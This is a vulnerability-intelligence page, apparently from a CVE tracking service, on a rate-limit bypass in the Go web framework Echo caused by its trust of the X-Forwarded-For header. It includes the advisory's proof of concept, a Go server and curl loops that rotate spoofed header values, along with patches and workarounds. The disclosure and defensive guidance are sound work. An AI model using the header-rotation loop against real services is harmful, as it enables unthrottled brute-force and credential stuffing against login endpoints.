Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend request with rotating X-Forwarded-For header
-
ExploitLegacy RealIP trusts attacker-controlled first XFF IP
-
ExecutionNew rate-limit bucket allocated per spoofed value
-
ImpactThrottle bypassed, unthrottled brute-force / API abuse
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Anti-spoofing controls
MITRE ATT&CK
1 technique across 1 tactic: Defense Evasion The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitable only when the target application uses echo/v5 (< 5.1.0) or echo/v4 (>= 4.0.0, <= 4.16.2) created via echo.New() with Echo#IPExtractor left at its nil default, AND either applies middleware.RateLimiter / DefaultRateLimiterConfig (whose default IdentifierExtractor calls ctx.RealIP()) or otherwise relies on ctx.RealIP() for a per-IP security decision. Under those conditions RealIP() returns the first, attacker-controlled value of the X-Forwarded-For header (or X-Real-IP) with no proxy-origin validation, so no authentication, user interaction, or special network position is required. Exploitation is PREVENTED by configuring Echo#IPExtractor (ExtractIPDirect for non-proxied deployments, or ExtractIPFromXFFHeader with TrustIPRange behind trusted proxies), by setting a client-unselectable RateLimiterConfig.IdentifierExtractor, or by upgrading echo/v5 to v5.1.0; applications that do not use IP-based rate limiting or RealIP-based controls are not affected. |
| Impact | This is a genuine but moderate-severity control-bypass, not a critical issue. The NVD/advisory CVSS of 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) correctly models a network-reachable, unauthenticated, low-complexity weakness whose only impact is integrity (I:L) - the attacker defeats an IP-based control rather than reading data or crashing the service (C:N/A:N). The vuln.today decision label is 'this_month', consistent with a real-but-non-emergency fix priority. No EPSS score and no CISA KEV entry are present in the input, so there is no quantitative exploitation-probability signal and no evidence of active exploitation; absence of these is not itself a mitigating fact but means urgency rests on severity and the decision label rather than observed attacks. The GHSA advisory itself contains demonstration exploit code (a Go server plus curl commands) - this is a public PoC reference and is not verified in the input as independently working exploit code, so it should be treated as 'PoC available', which is distinct from active exploitation. The practical risk is conditional: it only bites applications that run with the default (unset) Echo#IPExtractor AND use the default RateLimiter identifier (or otherwise rely on RealIP for a security decision). Where those conditions hold the bypass is trivial and reliable; where an IPExtractor or custom identifier is configured there is no exposure. Net: a real priority for affected Go/Echo deployments that lean on IP-based throttling for authentication endpoints, but a low-to-moderate universal risk given the conditional trigger and integrity-only impact. |
| Exploit ScenarioDerived | An application built with echo.New() (default IPExtractor unset) protects its login endpoint with middleware.RateLimiter using the default config. Because the complexity is low and no authentication or user interaction is needed (AC:L/PR:N/UI:N), a remote attacker simply sends each brute-force request with a different spoofed X-Forwarded-For value, causing RealIP() to return a fresh per-client identifier and allocate a new rate-limit bucket every time, so the throttle never trips. A public PoC reference exists in the GHSA advisory (Go server plus curl loop) demonstrating the bypass, though it is not verified in the input as a packaged working exploit. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 28, 2026
Rate limiting in Labstack Echo can be bypassed by header spoofing in the default configuration: when echo.New() is used without setting Echo#IPExtractor, Context.RealIP() returns the first, client-supplied value of X-Forwarded-For (or X-Real-IP) with no proxy-origin validation, and the default middleware.RateLimiter identifier extractor keys its buckets directly on that value. An unauthenticated remote attacker who rotates the header on each request obtains a fresh bucket every time, so endpoints protected by the stock rate limiter - login, password reset, 2FA, API routes - are effectively unthrottled, and any other control that derives per-client identity from ctx.RealIP() (access logging, geo-blocking, audit trails) is undermined the same way. Exploitation requires a target built on echo/v5 before 5.1.0 or echo/v4 from 4.0.0 through 4.16.2 that leaves IPExtractor nil and relies on RealIP()-based throttling; a public proof-of-concept accompanies the advisory, but active exploitation has not been confirmed, and the assessed impact is limited to integrity of the throttling decision (CVSS 5.3), not code execution or data disclosure.
RemediationAI
Vendor-released patch: echo/v5 v5.1.0 (release https://github.com/labstack/echo/releases/tag/v5.1.0, fix commit https://github.com/labstack/echo/commit/22e4b71109ef072ef011a489066ec662ca9565b2); echo/v4 (>= 4.0.0, <= 4.16.2) has no fixed version at time of analysis and keeps its legacy default. Upgrade go.mod to github.com/labstack/echo/v5 v5.1.0, then confirm that RealIP() now resolves to the direct peer; code that depended on header parsing must opt in explicitly with echo.LegacyIPExtractor or a TrustIPRange-scoped XFF extractor. Where upgrading immediately is not possible, the vendor-documented workaround is to set Echo#IPExtractor per deployment - echo.ExtractIPDirect() when there is no proxy, or echo.ExtractIPFromXFFHeader() with TrustIPRange covering only your proxy addresses when there is one - or to replace RateLimiterConfig.IdentifierExtractor with an identifier clients cannot choose. Trade-offs: ExtractIPDirect ignores proxy headers, so every client behind a load balancer shares one rate-limit bucket and can collectively trip the limit; ExtractIPFromXFFHeader only helps if TrustIPRange is accurate, since an over-broad trust range leaves the spoofing path open, and a missing or wrong range makes RealIP() return the proxy address instead of the client. Detail is in the advisory at https://github.com/labstack/echo/security/advisories/GHSA-246p-cpwv-v3jq.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Echo is a Go HTTP web framework, and the flaw is rooted in how it resolves client identity from request metadata. Go's net/http exposes the true TCP peer through Request.RemoteAddr, whereas X-Forwarded-For and X-Real-IP are ordinary application headers that any client can set; only a trusted reverse proxy in front of the application makes them meaningful. Echo models this with an IPExtractor function on the Echo instance (ExtractIPDirect, ExtractIPFromXFFHeader, ExtractIPFromRealIPHeader, with TrustIPRange for proxy allow-listing), but echo.New() leaves the field nil for backward compatibility, and the legacy fallback in Context.RealIP() then parses and returns the leftmost XFF entry - precisely the position the requester controls. The default rate limiter configuration compounds this by defining its IdentifierExtractor as ctx.RealIP() with no check for whether a safe extractor is installed, and RateLimiter(store) copies that default wholesale, so the convenience API silently inherits a spoofable identity. CWE-290 (Authentication Bypass by Spoofing) captures the class: a security decision is bound to an unauthenticated, client-asserted attribute. The trigger is an attacker-controlled HTTP header on a normally routed request; no special network position, credentials, or user interaction is involved. Fixed in echo/v5 v5.1.0 by making RealIP() fall back to the direct peer address (RemoteAddr) when no extractor is configured, moving the old header-trusting logic into an explicitly opt-in LegacyIPExtractor; echo/v4 retains the legacy default for compatibility.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Remote, unauthenticated, low-complexity header spoofing (AV:N/AC:L/PR:N/UI:N); only integrity of an IP-based control is affected (I:L), with no confidentiality or availability impact.
Primary rating from Vendor (https://github.com/labstack/echo).
CVSS VectorVendor: https://github.com/labstack/echo
DescriptionCVE.org
Summary
When echo.New() is used without explicitly setting Echo#IPExtractor, the RealIP() method falls back to reading the client-supplied X-Forwarded-For (or X-Real-IP) header without any proxy-origin validation. The default RateLimiter() middleware derives its per-client identifier from ctx.RealIP(), so an attacker can rotate arbitrary values in the X-Forwarded-For header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely.
Affected Component
context.go-(*Context).RealIP()(lines 186-208), legacy fallback branch (lines 190-200)middleware/rate_limiter.go-DefaultRateLimiterConfig.IdentifierExtractor(lines 46-58);RateLimiter()(lines 71-76)echo.go-New()(lines 326-343),IPExtractorleftnilby default
Description
RealIP() unconditionally trusts X-Forwarded-For when IPExtractor is unset
Context.RealIP() (context.go:186-208) first checks c.echo.IPExtractor. When this field is nil (the default for echo.New()), it falls through to legacy behavior and returns the first IP from the X-Forwarded-For header - the position an attacker has full control over:
// context.go:186-200
func (c *Context) RealIP() string {
if c.echo != nil && c.echo.IPExtractor != nil {
return c.echo.IPExtractor(c.request)
}
// Fall back to legacy behavior
if ip := c.request.Header.Get(HeaderXForwardedFor); ip != "" {
i := strings.IndexAny(ip, ",")
if i > 0 {
xffip := strings.TrimSpace(ip[:i])
xffip = strings.TrimPrefix(xffip, "[")
xffip = strings.TrimSuffix(xffip, "]")
return xffip // ← attacker-controlled first IP
}
return ip
}
if ip := c.request.Header.Get(HeaderXRealIP); ip != "" {
...
return ip // ← also attacker-controlled
}
ra, _, _ := net.SplitHostPort(c.request.RemoteAddr)
return ra
}Rate limiter default identifier extractor calls RealIP() unconditionally
DefaultRateLimiterConfig (rate_limiter.go:46-58) sets the identifier extractor to ctx.RealIP() with no guard for whether a safe IPExtractor is configured:
// rate_limiter.go:46-58
var DefaultRateLimiterConfig = RateLimiterConfig{
Skipper: DefaultSkipper,
IdentifierExtractor: func(ctx *echo.Context) (string, error) {
id := ctx.RealIP() // ← reads attacker-controlled header
return id, nil
},
...
}RateLimiter(store) (rate_limiter.go:71-76) copies DefaultRateLimiterConfig directly:
// rate_limiter.go:71-76
func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {
config := DefaultRateLimiterConfig
config.Store = store
return RateLimiterWithConfig(config)
}The result is that the most common usage pattern - e.GET("/path", h, middleware.RateLimiter(store)) - produces a rate limiter whose per-client identifier is fully controlled by the requester.
Framework acknowledges the issue for IP extraction but the rate limiter carries no warning
ip.go:27 explicitly states the default is insecure:
> "Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."
And ip.go:117-119:
> "In default behavior, Echo sees all of first XFF header, X-Real-IP header and IP from network layer. As you might already notice, after reading this article, this is not good. Sole reason this is default is just backward compatibility."
The IPExtractor mechanism (ExtractIPDirect(), ExtractIPFromXFFHeader(), ExtractIPFromRealIPHeader()) in ip.go exists precisely to close this gap. However, the RateLimiter() function and DefaultRateLimiterConfig have no corresponding warning and make no attempt to detect or flag that IPExtractor is unset, leaving operators who follow the standard rate limiter example silently exposed.
The test TestRateLimiterWithConfig_defaultConfig (rate_limiter_test.go:181-226) itself drives the rate limiter by setting X-Real-IP directly on the test request - demonstrating that the identifier is freely injectable without comment or mitigation.
Full execution chain
- Server starts with
echo.New()(noIPExtractorset) ande.GET("/limited", h, middleware.RateLimiter(store)) - Attacker sends
GET /limitedwith headerX-Forwarded-For: 1.2.3.4- rate bucket for1.2.3.4consumed - Attacker sends
GET /limitedagain withX-Forwarded-For: 1.2.3.4- second token consumed; if burst is 1, next request would be 429 - Attacker sends
GET /limitedwithX-Forwarded-For: 5.6.7.8- new bucket created for5.6.7.8, 200 OK returned - Attacker repeats step 4 with arbitrary IPs - rate limit never triggers; unlimited requests served
Proof of Concept
package main
import (
"net/http"
echo "github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func main() {
e := echo.New()
// NOTE: IPExtractor deliberately NOT set - this is the default
store := middleware.NewRateLimiterMemoryStore(1)
e.GET("/limited", func(c *echo.Context) error {
return c.String(http.StatusOK, "ok")
}, middleware.RateLimiter(store))
e.Logger.Fatal(e.Start(":1324"))
}# First request with IP 1.1.1.1 - consumes burst token
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited
# HTTP/1.1 200 OK
# Second request with same IP - rate limited
curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited
# HTTP/1.1 429 Too Many Requests
# Third request with DIFFERENT spoofed IP - bypass: new bucket, 200 OK
curl -i -H 'X-Forwarded-For: 2.2.2.2' http://127.0.0.1:1324/limited
# HTTP/1.1 200 OK
# Repeat indefinitely with rotating IPs - rate limit never triggers
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}\n" -H "X-Forwarded-For: 10.0.0.$i" http://127.0.0.1:1324/limited
done
# 200 200 200 ... (all 200, never 429)Impact
- Attackers can make unlimited requests to any endpoint protected by
middleware.RateLimiter()using the default configuration by rotating theX-Forwarded-Forheader - Brute-force attacks against login, password reset, 2FA, and similar authentication endpoints are unthrottled
- API abuse and credential stuffing are possible at arbitrary throughput
- Any per-IP security control that relies on
ctx.RealIP()with default configuration (access logging, geo-blocking, audit trails) is equally undermined
Recommended Remediation
Option 1: Require explicit IPExtractor configuration in RateLimiter() (preferred)
The RateLimiter() convenience function should detect when IPExtractor is not configured and either panic with a clear message or fall back to ExtractIPDirect() (direct-connection IP only):
// rate_limiter.go - illustrative change
var DefaultRateLimiterConfig = RateLimiterConfig{
Skipper: DefaultSkipper,
IdentifierExtractor: func(ctx *echo.Context) (string, error) {
if ctx.Echo().IPExtractor == nil {
// Fall back to direct TCP peer address - safe for non-proxied deployments
host, _, err := net.SplitHostPort(ctx.Request().RemoteAddr)
if err != nil {
return ctx.Request().RemoteAddr, nil
}
return host, nil
}
return ctx.RealIP(), nil
},
...
}Option 2: Document and warn in RateLimiter() godoc
At minimum, add a prominent warning to the RateLimiter() and DefaultRateLimiterConfig documentation directing users to configure Echo#IPExtractor before using IP-based rate limiting, mirroring the guidance already present in ip.go.
// RateLimiter returns a rate limiting middleware.
//
// SECURITY: The default IdentifierExtractor uses ctx.RealIP(), which reads
// X-Forwarded-For / X-Real-IP headers. Without setting Echo#IPExtractor,
// these headers are fully client-controlled and can be spoofed to bypass
// rate limiting. Set e.IPExtractor = echo.ExtractIPDirect() (no proxy) or
// echo.ExtractIPFromXFFHeader() (trusted proxy) before using this middleware.
// See https://echo.labstack.com/guide/ip-address for details.
func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {Credit
This vulnerability was discovered and reported by bugbunny.ai.
Patches
Fixed in github.com/labstack/echo/v5 v5.1.0: without Echo#IPExtractor, Context.RealIP() returns the address of the direct peer; the previous behavior is available as LegacyIPExtractor.
github.com/labstack/echo/v4 keeps its default for compatibility.
Workarounds
Configure Echo#IPExtractor for your deployment (echo.ExtractIPDirect() without a proxy, echo.ExtractIPFromXFFHeader() behind proxies, with TrustIPRange for proxies on public addresses), or set RateLimiterConfig.IdentifierExtractor to an identifier that clients cannot choose.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
EUVD-2026-112409
GHSA-246p-cpwv-v3jq
NVD
CVE.org
Exploit-DB